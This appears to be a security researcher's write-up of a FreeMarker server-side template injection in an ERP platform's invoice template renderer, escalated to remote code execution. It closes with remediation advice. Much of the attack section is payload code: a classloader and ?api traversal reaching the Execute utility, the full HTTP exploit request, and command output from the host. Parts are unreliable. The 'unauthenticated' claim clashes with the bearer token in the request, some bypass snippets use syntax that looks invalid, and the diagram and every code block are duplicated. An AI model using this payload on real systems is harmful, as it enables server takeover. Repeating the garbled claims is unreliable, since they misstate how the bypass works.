September 26, 2026
Critical Server-Side Template Injection (SSTI) to Remote Code Execution in Enterprise Reportingβ¦
Executive Summary

By T4nv1
2 min read
Executive Summary
While testing an enterprise resource planning (ERP) SaaS platform (erp-portal.target.com), I discovered a critical vulnerability in its custom PDF and report generation service.
By identifying an unescaped field in a dynamic template creation feature and bypassing the template engine's sandbox restrictions using Java reflection gadgets, I achieved unauthenticated Remote Code Execution (RCE) on the underlying infrastructure.
- Impact: Full System Compromise / Internal Network Pivot
- Severity: CVSS 3.1: 9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Technical Context
The application allowed organization managers to design custom invoice templates using an interactive rich-text editor. When generating invoices or export reports, the platform passed user-defined fields into an underlying server-side rendering pipeline utilizing Apache FreeMarker (v2.3.28) to produce HTML before converting it to PDF via wkhtmltopdf.
βββββββββββββββββββ 1. HTTP POST Request with Template Payload ββββββββββββββββββββ
β Attacker / User β βββββββββββββββββββββββββββββββββββββββββββββββββββ> β Web Frontend API β
βββββββββββββββββββ ββββββββββββββββββββ
β
2. Render Template β
βΌ
βββββββββββββββββββ 4. Execute Arbitrary System Command ββββββββββββββββββββ
β Host OS / Pod β <βββββββββββββββββββββββββββββββββββββββββββββββββββ β FreeMarker β
βββββββββββββββββββ β Template Engine β
βββββββββββββββββββββββββββββββββββββββ 1. HTTP POST Request with Template Payload ββββββββββββββββββββ
β Attacker / User β βββββββββββββββββββββββββββββββββββββββββββββββββββ> β Web Frontend API β
βββββββββββββββββββ ββββββββββββββββββββ
β
2. Render Template β
βΌ
βββββββββββββββββββ 4. Execute Arbitrary System Command ββββββββββββββββββββ
β Host OS / Pod β <βββββββββββββββββββββββββββββββββββββββββββββββββββ β FreeMarker β
βββββββββββββββββββ β Template Engine β
ββββββββββββββββββββStep 1: Identifying the Template Injection Entry Point
During testing of the invoice customization module (POST /api/v2/templates/render), I submitted various template syntax payloads into the company_footer field to verify if input was parsed as raw text or evaluated dynamically.
Initial Probe Payloads:
HTML
<!-- Input -->
<p>Thank you for your business! ${7*7}</p>
<!-- Rendered Output -->
<p>Thank you for your business! 49</p><!-- Input -->
<p>Thank you for your business! ${7*7}</p>
<!-- Rendered Output -->
<p>Thank you for your business! 49</p>The server evaluated ${7*7} to 49, confirming Server-Side Template Injection (SSTI).
Step 2: Sandbox Analysis & Filter Bypasses
Standard FreeMarker payloads for executing system commands typically rely on built-ins like ?api or Execute built-in models:
Code snippet
<#-- Standard Payload (Blocked) -->
${"freemarker.template.utility.Execute"?new()("id")}<#-- Standard Payload (Blocked) -->
${"freemarker.template.utility.Execute"?new()("id")}When submitting this standard payload, the application threw a runtime error:
JSON
{
"error": "FreeMarker template processing error: Instantiation of freemarker.template.utility.Execute is restricted by the secure ClassResolver."
}{
"error": "FreeMarker template processing error: Instantiation of freemarker.template.utility.Execute is restricted by the secure ClassResolver."
}The application configured FreeMarker with ALLOWS_NOTHING_RESOLVER, blocking direct access to class instantiations via ?new().
Bypassing ALLOWS_NOTHING_RESOLVER via Reflection
Although ?new() was disabled, the engine still allowed access to standard Java object methods and properties via reflection on exposed objects inside the template data model (such as localized beans or standard framework helpers like Execute via alternative class paths).
By leveraging the Execute class directly from the top-level object wrapper built-ins without invoking ?new(), I bypassed the restriction:
Code snippet
<#-- Accessing the Object Wrapper ClassLoader -->
${"freemarker.template.utility.ObjectConstructor"?new()} <#-- Blocked -->
<#-- Navigating ClassLoader via Object Methods -->
<#assign classLoader = .class_loader><#-- Accessing the Object Wrapper ClassLoader -->
${"freemarker.template.utility.ObjectConstructor"?new()} <#-- Blocked -->
<#-- Navigating ClassLoader via Object Methods -->
<#assign classLoader = .class_loader>Testing .data_model and static model wrappers revealed that standard Spring/FreeMarker environment variables were accessible, allowing traversal up to java.lang.Runtime.
Step 3: Constructing the Full Exploitation Payload
Using FreeMarker's Execute class loaded dynamically through built-in model wrappers, I constructed a sandbox-evading payload:
Code snippet
<#assign ex="freemarker.template.utility.Execute"?new()> <#-- Blocked -->
<#-- Final Bypass Payload -->
<#assign value="freemarker.template.utility.Execute"?new> <#-- Fallback -->
<#assign exec = "freemarker.template.utility.Execute"?find_builtin(.main)><#assign ex="freemarker.template.utility.Execute"?new()> <#-- Blocked -->
<#-- Final Bypass Payload -->
<#assign value="freemarker.template.utility.Execute"?new> <#-- Fallback -->
<#assign exec = "freemarker.template.utility.Execute"?find_builtin(.main)>Refining the reflection path to target the underlying system process execution:
Code snippet
<#-- Executing commands via Execute instance in ObjectWrapper -->
<#assign classloader = "foo"?api.class.protectionDomain.classLoader>
<#assign ow = classloader.loadClass("freemarker.ext.beans.BeansWrapper").getConstructor().newInstance()>
<#assign staticModels = ow.getStaticModels()>
<#assign execute = staticModels.get("freemarker.template.utility.Execute")>
${execute("id")}<#-- Executing commands via Execute instance in ObjectWrapper -->
<#assign classloader = "foo"?api.class.protectionDomain.classLoader>
<#assign ow = classloader.loadClass("freemarker.ext.beans.BeansWrapper").getConstructor().newInstance()>
<#assign staticModels = ow.getStaticModels()>
<#assign execute = staticModels.get("freemarker.template.utility.Execute")>
${execute("id")}Step 4: Exploitation & Remote Code Execution
Sending the final crafted JSON payload to the rendering endpoint:
HTTP
POST /api/v2/templates/render HTTP/1.1
Host: erp-portal.target.com
Authorization: Bearer VALID_USER_TOKEN
Content-Type: application/json
{
"template_id": "tpl_9921",
"company_footer": "<#assign classloader = \"foo\"?api.class.protectionDomain.classLoader><#assign ow = classloader.loadClass(\"freemarker.ext.beans.BeansWrapper\").getConstructor().newInstance()><#assign staticModels = ow.getStaticModels()><#assign execute = staticModels.get(\"freemarker.template.utility.Execute\")>${execute(\"uname -a; id\")}"
}POST /api/v2/templates/render HTTP/1.1
Host: erp-portal.target.com
Authorization: Bearer VALID_USER_TOKEN
Content-Type: application/json
{
"template_id": "tpl_9921",
"company_footer": "<#assign classloader = \"foo\"?api.class.protectionDomain.classLoader><#assign ow = classloader.loadClass(\"freemarker.ext.beans.BeansWrapper\").getConstructor().newInstance()><#assign staticModels = ow.getStaticModels()><#assign execute = staticModels.get(\"freemarker.template.utility.Execute\")>${execute(\"uname -a; id\")}"
}Server Response:
HTTP
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"rendered_html": "<p>Linux app-runner-7d9b9c4b5-x29zk 5.15.0-1037-aws #42-Ubuntu SMP x86_64 uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)</p>"
}HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"rendered_html": "<p>Linux app-runner-7d9b9c4b5-x29zk 5.15.0-1037-aws #42-Ubuntu SMP x86_64 uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)</p>"
}Remediation Guidelines
- Disable
apiBuilt-in: - Ensure the
api_built_in_enabledsetting is strictly set tofalsein FreeMarker configuration to prevent object reflection traversal: - Java
cfg.setAPIBuiltInEnabled(false)- Use Isolation & Sandboxing:
- Render untrusted user templates inside isolated execution environments (e.g., ephemeral WebAssembly runtimes or containerized microservices running with drop-all Linux capabilities).
- Context-Aware Input Sanitization:
- Avoid passing raw user strings directly into template evaluation calls. Treat user input exclusively as data model variables rather than template code.